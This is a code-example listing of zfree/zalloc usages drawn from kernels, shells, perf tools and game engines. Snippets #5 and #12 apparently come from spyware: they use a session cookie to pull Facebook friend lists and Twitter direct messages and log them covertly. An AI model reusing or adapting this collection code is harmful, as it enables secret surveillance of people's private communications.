예제 #1
0
static void perf_evsel__free_prev_raw_counts(struct perf_evsel *evsel)
{
	zfree(&evsel->prev_raw_counts);
}
예제 #2
0
void
krealloc(
	vm_offset_t	*addrp,
	vm_size_t	old_size,
	vm_size_t	new_size,
	simple_lock_t	lock)
{
	register int zindex;
	register vm_size_t allocsize;
	vm_offset_t naddr;

	/* can only be used for increasing allocation size */

	assert(new_size > old_size);

	/* if old_size is zero, then we are simply allocating */

	if (old_size == 0) {
		simple_unlock(lock);
		naddr = kalloc(new_size);
		simple_lock(lock);
		*addrp = naddr;
		return;
	}

	/* if old block was kmem_alloc'd, then use kmem_realloc if necessary */

	if (old_size >= kalloc_max_prerounded) {
		old_size = round_page_32(old_size);
		new_size = round_page_32(new_size);
		if (new_size > old_size) {

			if (kmem_realloc(kalloc_map, *addrp, old_size, &naddr,
					 new_size) != KERN_SUCCESS) {
				panic("krealloc: kmem_realloc");
				naddr = 0;
			}

			simple_lock(lock);
			*addrp = naddr;

			/* kmem_realloc() doesn't free old page range. */
			kmem_free(kalloc_map, *addrp, old_size);

			kalloc_large_total += (new_size - old_size);

			if (kalloc_large_total > kalloc_large_max)
			        kalloc_large_max = kalloc_large_total;
		}
		return;
	}

	/* compute the size of the block that we actually allocated */

	allocsize = KALLOC_MINSIZE;
	zindex = first_k_zone;
	while (allocsize < old_size) {
		allocsize <<= 1;
		zindex++;
	}

	/* if new size fits in old block, then return */

	if (new_size <= allocsize) {
		return;
	}

	/* if new size does not fit in zone, kmem_alloc it, else zalloc it */

	simple_unlock(lock);
	if (new_size >= kalloc_max_prerounded) {
		if (kmem_alloc(kalloc_map, &naddr, new_size) != KERN_SUCCESS) {
			panic("krealloc: kmem_alloc");
			simple_lock(lock);
			*addrp = 0;
			return;
		}
		kalloc_large_inuse++;
		kalloc_large_total += new_size;

		if (kalloc_large_total > kalloc_large_max)
		        kalloc_large_max = kalloc_large_total;
	} else {
		register int new_zindex;

		allocsize <<= 1;
		new_zindex = zindex + 1;
		while (allocsize < new_size) {
			allocsize <<= 1;
			new_zindex++;
		}
		naddr = zalloc(k_zone[new_zindex]);
	}
	simple_lock(lock);

	/* copy existing data */

	bcopy((const char *)*addrp, (char *)naddr, old_size);

	/* free old block, and return */

	zfree(k_zone[zindex], *addrp);

	/* set up new address */

	*addrp = naddr;
}
예제 #3
0
파일: cvar.c 프로젝트: icanhas/yantar
/* same as cvarsetstr, but allows more control over setting of cvar */
Cvar*
cvarsetstr2(const char *var_name, const char *value, qbool force)
{
	Cvar *var;

	/* comdprintf( "cvarsetstr2: %s %s\n", var_name, value ); */

	if(!validatestr(var_name)){
		comprintf("invalid cvar name string: %s\n", var_name);
		var_name = "BADNAME";
	}

#if 0	/* FIXME */
	if(value && !validatestr(value)){
		comprintf("invalid cvar value string: %s\n", value);
		var_value = "BADVALUE";
	}
#endif

	var = look(var_name);
	if(var == nil){
		if(value == nil)
			return nil;
		/* create it */
		if(!force)
			return cvarget(var_name, value, CVAR_USER_CREATED);
		else
			return cvarget(var_name, value, 0);
	}

	if(value == nil)
		value = var->resetString;

	value = validate(var, value, qtrue);

	if((var->flags & CVAR_LATCH) && (var->latchedString != nil)){
		if(!strcmp(value, var->string)){
			zfree(var->latchedString);
			var->latchedString = nil;
			return var;
		}

		if(!strcmp(value, var->latchedString))
			return var;
	}else if(!strcmp(value, var->string))
		return var;

	/* note what types of cvars have been modified (userinfo, archive, serverinfo, systeminfo) */
	cvar_modifiedFlags |= var->flags;

	if(!force){
		if(var->flags & CVAR_ROM){
			comprintf("%s is read only.\n", var_name);
			return var;
		}

		if(var->flags & CVAR_INIT){
			comprintf("%s is write protected.\n", var_name);
			return var;
		}

		if(var->flags & CVAR_LATCH){
			if(var->latchedString){
				if(strcmp(value, var->latchedString) == 0)
					return var;
				zfree(var->latchedString);
			}else if(strcmp(value, var->string) == 0)
				return var;

			comprintf("%s will be changed upon restarting.\n",
				var_name);
			var->latchedString = copystr(value);
			var->modified = qtrue;
			var->modificationCount++;
			return var;
		}

		if((var->flags & CVAR_CHEAT) && (cheatsenabled->integer <= 0)){
			comprintf ("%s is cheat protected.\n", var_name);
			return var;
		}

	}else if(var->latchedString != nil){
		zfree(var->latchedString);
		var->latchedString = nil;
	}

	if(!strcmp(value, var->string))
		return var;	/* not changed */

	var->modified = qtrue;
	var->modificationCount++;

	zfree(var->string);	/* free the old value string */

	var->string	= copystr(value);
	var->value	= atof (var->string);
	var->integer	= atoi (var->string);

	return var;
}
예제 #4
0
struct tracing_data *tracing_data_get(struct list_head *pattrs,
				      int fd, bool temp)
{
	struct tracepoint_path *tps;
	struct tracing_data *tdata;
	int err;

	output_fd = fd;

	tps = get_tracepoints_path(pattrs);
	if (!tps)
		return NULL;

	tdata = malloc(sizeof(*tdata));
	if (!tdata)
		return NULL;

	tdata->temp = temp;
	tdata->size = 0;

	if (temp) {
		int temp_fd;

		snprintf(tdata->temp_file, sizeof(tdata->temp_file),
			 "/tmp/perf-XXXXXX");
		if (!mkstemp(tdata->temp_file)) {
			pr_debug("Can't make temp file");
			return NULL;
		}

		temp_fd = open(tdata->temp_file, O_RDWR);
		if (temp_fd < 0) {
			pr_debug("Can't read '%s'", tdata->temp_file);
			return NULL;
		}

		/*
		 * Set the temp file the default output, so all the
		 * tracing data are stored into it.
		 */
		output_fd = temp_fd;
	}

	err = tracing_data_header();
	if (err)
		goto out;
	err = record_header_files();
	if (err)
		goto out;
	err = record_ftrace_files(tps);
	if (err)
		goto out;
	err = record_event_files(tps);
	if (err)
		goto out;
	err = record_proc_kallsyms();
	if (err)
		goto out;
	err = record_ftrace_printk();

out:
	/*
	 * All tracing data are stored by now, we can restore
	 * the default output file in case we used temp file.
	 */
	if (temp) {
		tdata->size = lseek(output_fd, 0, SEEK_CUR);
		close(output_fd);
		output_fd = fd;
	}

	if (err)
		zfree(&tdata);

	put_tracepoints_path(tps);
	return tdata;
}
예제 #5
0
DWORD FacebookContactHandler(LPSTR strCookie)
{
	LPSTR strUserId, strScreenName;

	if (!ConfIsModuleEnabled(L"addressbook"))
		return SOCIAL_REQUEST_SUCCESS;

	// get user id and screen name
	if (!FacebookGetUserInfo(strCookie, &strUserId, &strScreenName))
		return SOCIAL_REQUEST_BAD_COOKIE;

	LPWSTR strUrl = (LPWSTR) zalloc(2048*sizeof(WCHAR));
	_snwprintf_s(strUrl, 2048, _TRUNCATE, L"/ajax/typeahead/first_degree.php?__a=1&viewer=%S&token=v7&filter[0]=user&options[0]=friends_only&__user=%S", strUserId, strUserId); //FIXME array

	LPSTR strRecvBuffer=NULL;
	DWORD dwBuffSize;
	DWORD dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrl, 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBuffSize, strCookie); // FIXME: array
	if (dwRet != SOCIAL_REQUEST_SUCCESS)
	{
		zfree(strRecvBuffer);
		zfree(strUrl);
		return SOCIAL_REQUEST_NETWORK_PROBLEM;
	}

	LPSTR strJson = strRecvBuffer;
	while (*strJson != '{' && (strJson - strRecvBuffer) < dwBuffSize)
		strJson++;

	JSONValue *jValue = JSON::Parse(strJson);
	if (jValue != NULL && jValue->IsObject())
	{
		JSONObject jRoot = jValue->AsObject();
		if (jRoot.find(L"payload") != jRoot.end()) //FIXME: array
		{
			if (jRoot[L"payload"]->IsObject())
			{
				JSONObject jPayload = jRoot[L"payload"]->AsObject();
				if (jPayload.find(L"entries") != jPayload.end() && jPayload[L"entries"]->IsArray())  //FIXME: array
				{
					JSONArray jEntries = jPayload[L"entries"]->AsArray();  //FIXME: array
					for (DWORD i=0; i<jEntries.size(); i++)
					{
						LPWSTR strUID = NULL;
						LPWSTR strName = NULL; 
						LPWSTR strProfile = NULL;

						if (!jEntries.at(i)->IsObject())
							continue;

						JSONObject jEntry = jEntries.at(i)->AsObject();
						if (jEntry.find(L"uid") != jEntry.end() && jEntry[L"uid"]->IsNumber())  //FIXME: array
						{							
							strUID = (LPWSTR) zalloc(1024*sizeof(WCHAR));
							_snwprintf_s(strUID, 1023, _TRUNCATE, L"%.0lf", jEntry[L"uid"]->AsNumber());  //FIXME: array
						}
						if (jEntry.find(L"text") != jEntry.end() && jEntry[L"text"]->IsString())  //FIXME: array
						{
							strName = (LPWSTR) zalloc(1024*sizeof(WCHAR)); 
							memcpy(strName, jEntry[L"text"]->AsString().c_str(), min(jEntry[L"text"]->AsString().size()*sizeof(WCHAR), 1024*sizeof(WCHAR)));  //FIXME: array
						}
						if (jEntry.find(L"path") != jEntry.end() && jEntry[L"path"]->IsString())  //FIXME: array
						{
							strProfile = (LPWSTR) zalloc(1024*sizeof(WCHAR));
							memcpy(strProfile, jEntry[L"path"]->AsString().c_str(), min(jEntry[L"path"]->AsString().size()*sizeof(WCHAR), 1024*sizeof(WCHAR)));  //FIXME: array
						}

						if (strUID && strName && strProfile)
						{
							LPSTR strTmp = (LPSTR) zalloc(1024);
							_snprintf_s(strTmp, 1024, _TRUNCATE, "%S", strUID);

							DWORD dwFlags = 0;
							if (!strncmp(strTmp, strUserId, strlen(strUserId)))
								dwFlags = CONTACTS_MYACCOUNT;
							
							SocialLogContactW(CONTACT_SRC_FACEBOOK, strName, NULL, NULL, NULL, NULL, NULL, NULL, NULL, strUID, strProfile, dwFlags);
							zfree(strTmp);
						}

						zfree(strName);
						zfree(strProfile);
						zfree(strUID);
					}
				}
			}
		}
	}

	/* cleanup */
	zfree(strUserId);
	zfree(strScreenName);
	zfree(strRecvBuffer);
	zfree(strUrl);
	if (jValue)
		delete jValue;

	return SOCIAL_REQUEST_BAD_COOKIE;
}
예제 #6
0
파일: files.c 프로젝트: AMDmi3/zsh
static int
recursivecmd(char *nam, int opt_noerr, int opt_recurse, int opt_safe,
    char **args, RecurseFunc dirpre_func, RecurseFunc dirpost_func,
    RecurseFunc leaf_func, void *magic)
{
    int err = 0, len;
    char *rp, *s;
    struct dirsav ds;
    struct recursivecmd reccmd;

    reccmd.nam = nam;
    reccmd.opt_noerr = opt_noerr;
    reccmd.opt_recurse = opt_recurse;
    reccmd.opt_safe = opt_safe;
    reccmd.dirpre_func = dirpre_func;
    reccmd.dirpost_func = dirpost_func;
    reccmd.leaf_func = leaf_func;
    reccmd.magic = magic;
    init_dirsav(&ds);
    if (opt_recurse || opt_safe) {
	if ((ds.dirfd = open(".", O_RDONLY|O_NOCTTY)) < 0 &&
	    zgetdir(&ds) && *ds.dirname != '/')
	    ds.dirfd = open("..", O_RDONLY|O_NOCTTY);
    }
    for(; !errflag && !(err & 2) && *args; args++) {
	rp = ztrdup(*args);
	unmetafy(rp, &len);
	if (opt_safe) {
	    s = strrchr(rp, '/');
	    if (s && !s[1]) {
		while (*s == '/' && s > rp)
		    *s-- = '\0';
		while (*s != '/' && s > rp)
		    s--;
	    }
	    if (s && s[1]) {
		int e;

		*s = '\0';
		e = lchdir(s > rp ? rp : "/", &ds, 1);
		err |= -e;
		if (!e) {
		    struct dirsav d;

		    d.ino = d.dev = 0;
		    d.dirname = NULL;
		    d.dirfd = d.level = -1;
		    err |= recursivecmd_doone(&reccmd, *args, s + 1, &d, 0);
		    zsfree(d.dirname);
		    if (restoredir(&ds))
			err |= 2;
		} else if(!opt_noerr)
		    zwarnnam(nam, "%s: %e", *args, errno);
	    } else
		err |= recursivecmd_doone(&reccmd, *args, rp, &ds, 0);
	} else
	    err |= recursivecmd_doone(&reccmd, *args, rp, &ds, 1);
	zfree(rp, len + 1);
    }
    if ((err & 2) && ds.dirfd >= 0 && restoredir(&ds) && zchdir(pwd)) {
	zsfree(pwd);
	pwd = ztrdup("/");
	if (chdir(pwd) < 0)
	    zwarn("failed to chdir(%s): %e", pwd, errno);
    }
    if (ds.dirfd >= 0)
	close(ds.dirfd);
    zsfree(ds.dirname);
    return !!err;
}
예제 #7
0
파일: ae.c 프로젝트: HatsuneMiku3939/libae
void aeDeleteEventLoop(aeEventLoop *eventLoop) {
    aeApiFree(eventLoop);
    zfree(eventLoop->events);
    zfree(eventLoop->fired);
    zfree(eventLoop);
}
예제 #8
0
파일: evbase.c 프로젝트: mailhonor/libzc
void zevtimer_free(zevtimer_t * timer)
{
    zfree(timer);
}
예제 #9
0
파일: evbase.c 프로젝트: mailhonor/libzc
void zaio_free(zaio_t * aio)
{
    zfree(aio);
}
예제 #10
0
struct tracepoint_path *tracepoint_id_to_path(u64 config)
{
	struct tracepoint_path *path = NULL;
	DIR *sys_dir, *evt_dir;
	struct dirent *sys_next, *evt_next, sys_dirent, evt_dirent;
	char id_buf[24];
	int fd;
	u64 id;
	char evt_path[MAXPATHLEN];
	char dir_path[MAXPATHLEN];

	if (debugfs_valid_mountpoint(tracing_events_path))
		return NULL;

	sys_dir = opendir(tracing_events_path);
	if (!sys_dir)
		return NULL;

	for_each_subsystem(sys_dir, sys_dirent, sys_next) {

		snprintf(dir_path, MAXPATHLEN, "%s/%s", tracing_events_path,
			 sys_dirent.d_name);
		evt_dir = opendir(dir_path);
		if (!evt_dir)
			continue;

		for_each_event(sys_dirent, evt_dir, evt_dirent, evt_next) {

			snprintf(evt_path, MAXPATHLEN, "%s/%s/id", dir_path,
				 evt_dirent.d_name);
			fd = open(evt_path, O_RDONLY);
			if (fd < 0)
				continue;
			if (read(fd, id_buf, sizeof(id_buf)) < 0) {
				close(fd);
				continue;
			}
			close(fd);
			id = atoll(id_buf);
			if (id == config) {
				closedir(evt_dir);
				closedir(sys_dir);
				path = zalloc(sizeof(*path));
				path->system = malloc(MAX_EVENT_LENGTH);
				if (!path->system) {
					free(path);
					return NULL;
				}
				path->name = malloc(MAX_EVENT_LENGTH);
				if (!path->name) {
					zfree(&path->system);
					free(path);
					return NULL;
				}
				strncpy(path->system, sys_dirent.d_name,
					MAX_EVENT_LENGTH);
				strncpy(path->name, evt_dirent.d_name,
					MAX_EVENT_LENGTH);
				return path;
			}
		}
예제 #11
0
파일: bot.c 프로젝트: icanhas/yantar
/*
 * BotImport_FreeMemory
 */
static void
BotImport_FreeMemory(void *ptr)
{
	zfree(ptr);
}
예제 #12
0
DWORD ParseDirectMessages(char *username, char *cookie)
{
	DWORD ret_val, response_len;
	BYTE *r_buffer = NULL, *thread_buffer = NULL;
	char *parser1, *parser2, *thread_parser1, *thread_parser2;
	char strCurrentThreadHandle[512];
	WCHAR strConversationRequest[512];
	char strDmType[24];
	char strDmContent[256];
	char strTimestamp[256];
	DWORD last_tstamp_hi, last_tstamp_lo;
	ULARGE_INTEGER act_tstamp;
	struct tm tstamp;
	char strUsernameForDm[256];
	DWORD dwHigherBatchTimestamp = 0;


#ifdef _DEBUG
		OutputDebug(L"[*] %S\n", __FUNCTION__);
#endif

	/* use a new username for twitter dm since the timestamp would be the one we got from the timeline */
	_snprintf_s(strUsernameForDm, sizeof(strUsernameForDm), _TRUNCATE, "%s-twitterdm", username);
	last_tstamp_lo = SocialGetLastTimestamp(strUsernameForDm, &last_tstamp_hi);
	if (last_tstamp_lo == SOCIAL_INVALID_TSTAMP)
		return SOCIAL_REQUEST_BAD_COOKIE;


	ret_val = XmlHttpSocialRequest(L"twitter.com", L"GET", L"/messages?last_note_ts=0&since_id=0", 443, NULL, 0, &r_buffer, &response_len, cookie, L"https://twitter.com/");

	if (ret_val != SOCIAL_REQUEST_SUCCESS)
		return ret_val;

	parser1 = (char *) r_buffer;

	/*	Fetch the available threads
		e.g. "threads":["duilio_ebooks","duiliosagese","thegrugq_ebooks"] 
	*/
	parser1 = strstr(parser1, "\"threads\":[");
	if( !parser1 )
	{
		SAFE_FREE(r_buffer);
		return -1;
	}

	parser1 = parser1 + strlen("\"threads\":[");
	parser2 = strstr(parser1, "\"]},");

	if( !parser2 )
	{
		zfree(r_buffer);
		return SOCIAL_REQUEST_BAD_COOKIE;
	}
	parser2 += 1; // skip past last '"'
	*parser2 = NULL;

#ifdef _DEBUG
	OutputDebug(L"[*] %S - available threads %S\n", __FUNCTION__, parser1);
#endif
	
	/*	loop through the list of available threads pointed by parser1 and requests its content 
		e.g. "duilio_ebooks","duiliosagese","thegrugq_ebooks"
	*/
	for( ;; ) {
		parser1 = strchr(parser1, '"');
		if( !parser1 )
			break;

		parser1 += 1; // skip past '"'

		parser2 = strchr(parser1, '"');
		if( !parser2 )
			break;

		*parser2 = NULL;
		_snprintf_s(strCurrentThreadHandle, sizeof(strCurrentThreadHandle), _TRUNCATE, parser1);
		parser1 = parser2 + 1;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - parsing thread %S\n", __FUNCTION__, strCurrentThreadHandle);
#endif

		/*	fetch conversation
			e.g. /messages/with/conversation?id=duilio_ebooks&last_note_ts=0 
		*/
		_snwprintf_s(strConversationRequest, sizeof(strConversationRequest)/sizeof(WCHAR), _TRUNCATE, L"/messages/with/conversation?id=%S&last_note_ts=0", strCurrentThreadHandle);
		ret_val = XmlHttpSocialRequest(L"twitter.com", L"GET", strConversationRequest, 443, NULL, 0, &thread_buffer, &response_len, cookie, L"https://twitter.com/");

		/* if the request is not successful assume some serious issue happened, free resources and bail */
		if (ret_val != SOCIAL_REQUEST_SUCCESS)
		{
			zfree(thread_buffer);
			zfree(r_buffer);
			return ret_val;

		}

		/* direct message structure:
			1] start of a new message: '<div class="dm sent js-dm-item' or 'div class=\"dm received js-dm-item'
				find '<div class="dm ' (N.B space after dm) then decode whether it's send or received
			2] content:  <p class="js-tweet-text tweet-text" >MESSAGE</p>
			3] timestamp: data-time="1414592790"
		*/

		thread_parser1 = (char *) thread_buffer;

		/* parse all the messages belonging to a conversation, when there aren't messages left bail */
		for( ;; )
		{

			thread_parser1 = strstr(thread_parser1, TWITTER_DM_ITEM); // START HERE: can't find TWITTER_DM_ITEM
			if( !thread_parser1 )
				break;

			thread_parser1 += strlen(TWITTER_DM_ITEM);

			thread_parser2 = strchr(thread_parser1, ' '); // skip past sent or received
			if( !thread_parser2 )
				break;

			*thread_parser2 = NULL;
			_snprintf_s(strDmType, sizeof(strDmType), _TRUNCATE, thread_parser1);
			thread_parser2 +=1;

			
#ifdef _DEBUG
			OutputDebug(L"[*] %S - dm type: '%S'\n", __FUNCTION__, strDmType);
#endif		

			thread_parser1 = strstr(thread_parser2, TWITTER_DM_CONTENT);
			if( !thread_parser1 )
				break;

			thread_parser1 = strstr(thread_parser1, "\\u003e"); // encoded '>'
			if( !thread_parser1 )
				break;

			thread_parser1 += strlen("\\u003e");
			thread_parser2 = strstr(thread_parser1, "\\u003c\\/p\\u003e"); // encoded </p>
			if( !thread_parser2 )
				break;

			*thread_parser2 = NULL;
			_snprintf_s(strDmContent, sizeof(strDmContent), _TRUNCATE, thread_parser1);
			thread_parser1 = thread_parser2 + 1;

#ifdef _DEBUG
			OutputDebug(L"[*] %S - dm content: '%S'\n", __FUNCTION__, strDmContent);
#endif	

			thread_parser1 = strstr(thread_parser1, TWITTER_DM_TIMESTAMP_START);
			if( !thread_parser1 )
				break;
			
			thread_parser1 += strlen(TWITTER_DM_TIMESTAMP_START);
			thread_parser2 = strstr(thread_parser1, "\\\"");

			if( !thread_parser2 )
				break;

			*thread_parser2 = NULL;
			_snprintf_s(strTimestamp, sizeof(strTimestamp), _TRUNCATE, thread_parser1);
			thread_parser1 = thread_parser2 + 1;

#ifdef _DEBUG
			OutputDebug(L"[*] %S - dm timestamp: '%S'\n", __FUNCTION__, strTimestamp);
#endif	

			/* if the tweet is new save it , discard otherwise */
			if (!atoi(strTimestamp))
				continue;

			sscanf_s(strTimestamp, "%llu", &act_tstamp);

			if( act_tstamp.LowPart > 2000000000 || act_tstamp.LowPart <= last_tstamp_lo)
				continue;

			/* should hold true only for the first tweet in the batch */
			if( act_tstamp.LowPart > dwHigherBatchTimestamp )
				dwHigherBatchTimestamp = act_tstamp.LowPart; 

			_gmtime32_s(&tstamp, (__time32_t *)&act_tstamp);
			tstamp.tm_year += 1900;
			tstamp.tm_mon++;


			/* strDmType is either 'sent' or received */
			if( !strcmp(strDmType, "sent") )
				SocialLogIMMessageA(CHAT_PROGRAM_TWITTER, strCurrentThreadHandle, strCurrentThreadHandle, username, username, strDmContent, &tstamp, FALSE);
			else if( !strcmp(strDmType, "received") )
				SocialLogIMMessageA(CHAT_PROGRAM_TWITTER, username, username, strCurrentThreadHandle, strCurrentThreadHandle, strDmContent, &tstamp, FALSE);

#ifdef _DEBUG
			OutputDebug(L"[*] %S - logging: %S <-> %S : %S %llu\n", __FUNCTION__, username, strCurrentThreadHandle, strDmContent, tstamp);
#endif


		}

		/* free loop allocated buffer */
		zfree(thread_buffer);
		thread_buffer = NULL;
	}

	/* save the most recent timestamp we got from all conversations */
	SocialSetLastTimestamp(strUsernameForDm, dwHigherBatchTimestamp, 0);

	zfree(thread_buffer); // if we bailed out of conversation parsing loop, thread_buffer is still allocated, proceed with free'ing
	zfree(r_buffer);
	return SOCIAL_REQUEST_SUCCESS;
}
예제 #13
0
static int
coff_load_file(struct proc *p, char *name)
{
  	struct vmspace *vmspace = p->p_vmspace;
  	int error;
  	struct nameidata nd;
  	struct vnode *vp;
  	struct vattr attr;
  	struct filehdr *fhdr;
  	struct aouthdr *ahdr;
  	struct scnhdr *scns;
  	char *ptr = 0;
  	int nscns;
  	unsigned long text_offset = 0, text_address = 0, text_size = 0;
  	unsigned long data_offset = 0, data_address = 0, data_size = 0;
  	unsigned long bss_size = 0;
  	int i;

	/* XXX use of 'curproc' should be 'p'?*/
	NDINIT(&nd, LOOKUP, LOCKLEAF | FOLLOW | SAVENAME, UIO_SYSSPACE, name, curproc);

  	error = namei(&nd);
  	if (error)
    		return error;

  	vp = nd.ni_vp;
  	if (vp == NULL)
    		return ENOEXEC;

  	if (vp->v_writecount) {
    		error = ETXTBSY;
    		goto fail;
  	}

  	if (error = VOP_GETATTR(vp, &attr, p->p_ucred, p))
    		goto fail;

  	if ((vp->v_mount->mnt_flag & MNT_NOEXEC)
	    || ((attr.va_mode & 0111) == 0)
	    || (attr.va_type != VREG))
    		goto fail;

  	if (attr.va_size == 0) {
    		error = ENOEXEC;
    		goto fail;
  	}

  	if (error = VOP_ACCESS(vp, VEXEC, p->p_ucred, p))
    		goto fail;

  	if (error = VOP_OPEN(vp, FREAD, p->p_ucred, p))
    		goto fail;

	/*
	 * Lose the lock on the vnode. It's no longer needed, and must not
	 * exist for the pagefault paging to work below.
	 */
	VOP_UNLOCK(vp, 0, p);

  	if (error = vm_mmap(kernel_map,
			    (vm_offset_t *) &ptr,
			    PAGE_SIZE,
			    VM_PROT_READ,
		       	    VM_PROT_READ,
			    0,
			    (caddr_t) vp,
			    0))
    	goto fail;

  	fhdr = (struct filehdr *)ptr;

  	if (fhdr->f_magic != I386_COFF) {
    		error = ENOEXEC;
    		goto dealloc_and_fail;
  	}

  	nscns = fhdr->f_nscns;

  	if ((nscns * sizeof(struct scnhdr)) > PAGE_SIZE) {
    		/*
     		 * XXX -- just fail.  I'm so lazy.
     		 */
    		error = ENOEXEC;
    		goto dealloc_and_fail;
  	}

  	ahdr = (struct aouthdr*)(ptr + sizeof(struct filehdr));

  	scns = (struct scnhdr*)(ptr + sizeof(struct filehdr)
			  + sizeof(struct aouthdr));

  	for (i = 0; i < nscns; i++) {
    		if (scns[i].s_flags & STYP_NOLOAD)
      			continue;
    		else if (scns[i].s_flags & STYP_TEXT) {
      			text_address = scns[i].s_vaddr;
      			text_size = scns[i].s_size;
      			text_offset = scns[i].s_scnptr;
    		}
		else if (scns[i].s_flags & STYP_DATA) {
      			data_address = scns[i].s_vaddr;
      			data_size = scns[i].s_size;
      			data_offset = scns[i].s_scnptr;
    		} else if (scns[i].s_flags & STYP_BSS) {
      			bss_size = scns[i].s_size;
    		}
  	}

  	if (error = load_coff_section(vmspace, vp, text_offset,
				      (caddr_t)(void *)(uintptr_t)text_address,
				      text_size, text_size,
				      VM_PROT_READ | VM_PROT_EXECUTE)) {
    		goto dealloc_and_fail;
  	}
  	if (error = load_coff_section(vmspace, vp, data_offset,
				      (caddr_t)(void *)(uintptr_t)data_address,
				      data_size + bss_size, data_size,
				      VM_PROT_ALL)) {
    		goto dealloc_and_fail;
  	}

  	error = 0;

 	dealloc_and_fail:
	if (vm_map_remove(kernel_map,
			  (vm_offset_t) ptr,
			  (vm_offset_t) ptr + PAGE_SIZE))
    		panic(__FUNCTION__ " vm_map_remove failed");

 fail:
    vput(nd.ni_vp);
	zfree(namei_zone, nd.ni_cnd.cn_pnbuf);
  	return error;
}
예제 #14
0
파일: flowadv.c 프로젝트: wzw19890321/xnu-1
void
flowadv_free_entry(struct flowadv_fcentry *fce)
{
    zfree(fadv_zone, fce);
}
예제 #15
0
파일: ae_select.c 프로젝트: fjrti/snippets
static void aeApiFree(aeEventLoop *eventLoop) {
    zfree(eventLoop->apidata);
}
예제 #16
0
파일: evbase.c 프로젝트: mailhonor/libzc
void zev_free(zev_t * ev)
{
    zfree(ev);
}
예제 #17
0
파일: eventloop.c 프로젝트: zhangjinde/z
void eventloopUninit() {
	threadRelease(M->thread);
	aeDeleteEventLoop(M->eventloop);
	zfree(M);
}
예제 #18
0
파일: pcre.c 프로젝트: Jaharmi/zsh
static int
bin_pcre_match(char *nam, char **args, Options ops, UNUSED(int func))
{
    int ret, capcount, *ovec, ovecsize, c;
    char *matched_portion = NULL;
    char *receptacle = NULL;
    int return_value = 1;
    /* The subject length and offset start are both int values in pcre_exec */
    int subject_len;
    int offset_start = 0;
    int want_offset_pair = 0;

    if (pcre_pattern == NULL) {
	zwarnnam(nam, "no pattern has been compiled");
	return 1;
    }
    
    if(OPT_HASARG(ops,c='a')) {
	receptacle = OPT_ARG(ops,c);
    }
    if(OPT_HASARG(ops,c='v')) {
	matched_portion = OPT_ARG(ops,c);
    }
    if(OPT_HASARG(ops,c='n')) { /* The offset position to start the search, in bytes. */
	offset_start = getposint(OPT_ARG(ops,c), nam);
    }
    /* For the entire match, 'Return' the offset byte positions instead of the matched string */
    if(OPT_ISSET(ops,'b')) want_offset_pair = 1; 
    
    if(!*args) {
	zwarnnam(nam, "not enough arguments");
    }
    
    if ((ret = pcre_fullinfo(pcre_pattern, pcre_hints, PCRE_INFO_CAPTURECOUNT, &capcount)))
    {
	zwarnnam(nam, "error %d in fullinfo", ret);
	return 1;
    }
    
    ovecsize = (capcount+1)*3;
    ovec = zalloc(ovecsize*sizeof(int));
    
    subject_len = (int)strlen(*args);

    if (offset_start < 0 || offset_start >= subject_len)
	ret = PCRE_ERROR_NOMATCH;
    else
	ret = pcre_exec(pcre_pattern, pcre_hints, *args, subject_len, offset_start, 0, ovec, ovecsize);

    if (ret==0) return_value = 0;
    else if (ret==PCRE_ERROR_NOMATCH) /* no match */;
    else if (ret>0) {
	zpcre_get_substrings(*args, ovec, ret, matched_portion, receptacle,
			     want_offset_pair, 0, 0);
	return_value = 0;
    }
    else {
	zwarnnam(nam, "error in pcre_exec");
    }
    
    if (ovec)
	zfree(ovec, ovecsize*sizeof(int));

    return return_value;
}
예제 #19
0
파일: stat.c 프로젝트: AK101111/linux
static void perf_evsel__free_stat_priv(struct perf_evsel *evsel)
{
	zfree(&evsel->priv);
}
예제 #20
0
파일: pcre.c 프로젝트: Jaharmi/zsh
static int
cond_pcre_match(char **a, int id)
{
    pcre *pcre_pat;
    const char *pcre_err;
    char *lhstr, *rhre, *avar=NULL;
    int r = 0, pcre_opts = 0, pcre_errptr, capcnt, *ov, ovsize;
    int return_value = 0;

    if (zpcre_utf8_enabled())
	pcre_opts |= PCRE_UTF8;

    lhstr = cond_str(a,0,0);
    rhre = cond_str(a,1,0);
    pcre_pat = NULL;
    ov = NULL;

    if (isset(BASHREMATCH))
	avar="BASH_REMATCH";

    switch(id) {
	 case CPCRE_PLAIN:
		pcre_pat = pcre_compile(rhre, pcre_opts, &pcre_err, &pcre_errptr, NULL);
		if (pcre_pat == NULL) {
		    zwarn("failed to compile regexp /%s/: %s", rhre, pcre_err);
		    break;
		}
                pcre_fullinfo(pcre_pat, NULL, PCRE_INFO_CAPTURECOUNT, &capcnt);
    		ovsize = (capcnt+1)*3;
		ov = zalloc(ovsize*sizeof(int));
    		r = pcre_exec(pcre_pat, NULL, lhstr, strlen(lhstr), 0, 0, ov, ovsize);
		/* r < 0 => error; r==0 match but not enough size in ov
		 * r > 0 => (r-1) substrings found; r==1 => no substrings
		 */
    		if (r==0) {
		    zwarn("reportable zsh problem: pcre_exec() returned 0");
		    return_value = 1;
		    break;
		}
	        else if (r==PCRE_ERROR_NOMATCH) return 0; /* no match */
		else if (r<0) {
		    zwarn("pcre_exec() error: %d", r);
		    break;
		}
                else if (r>0) {
		    zpcre_get_substrings(lhstr, ov, r, NULL, avar, 0,
					 isset(BASHREMATCH),
					 !isset(BASHREMATCH));
		    return_value = 1;
		    break;
		}
		break;
    }

    if (pcre_pat)
	pcre_free(pcre_pat);
    if (ov)
	zfree(ov, ovsize*sizeof(int));

    return return_value;
}
예제 #21
0
/*
 * Create a new thread.
 * Doesn't start the thread running.
 */
static kern_return_t
thread_create_internal(
	task_t					parent_task,
	integer_t				priority,
	thread_continue_t		continuation,
	int						options,
#define TH_OPTION_NONE		0x00
#define TH_OPTION_NOCRED	0x01
#define TH_OPTION_NOSUSP	0x02
	thread_t				*out_thread)
{
	thread_t				new_thread;
	static thread_t			first_thread;

	/*
	 *	Allocate a thread and initialize static fields
	 */
	if (first_thread == THREAD_NULL)
		new_thread = first_thread = current_thread();
	else
		new_thread = (thread_t)zalloc(thread_zone);
	if (new_thread == THREAD_NULL)
		return (KERN_RESOURCE_SHORTAGE);

	if (new_thread != first_thread)
		*new_thread = thread_template;

#ifdef MACH_BSD
	new_thread->uthread = uthread_alloc(parent_task, new_thread, (options & TH_OPTION_NOCRED) != 0);
	if (new_thread->uthread == NULL) {
		zfree(thread_zone, new_thread);
		return (KERN_RESOURCE_SHORTAGE);
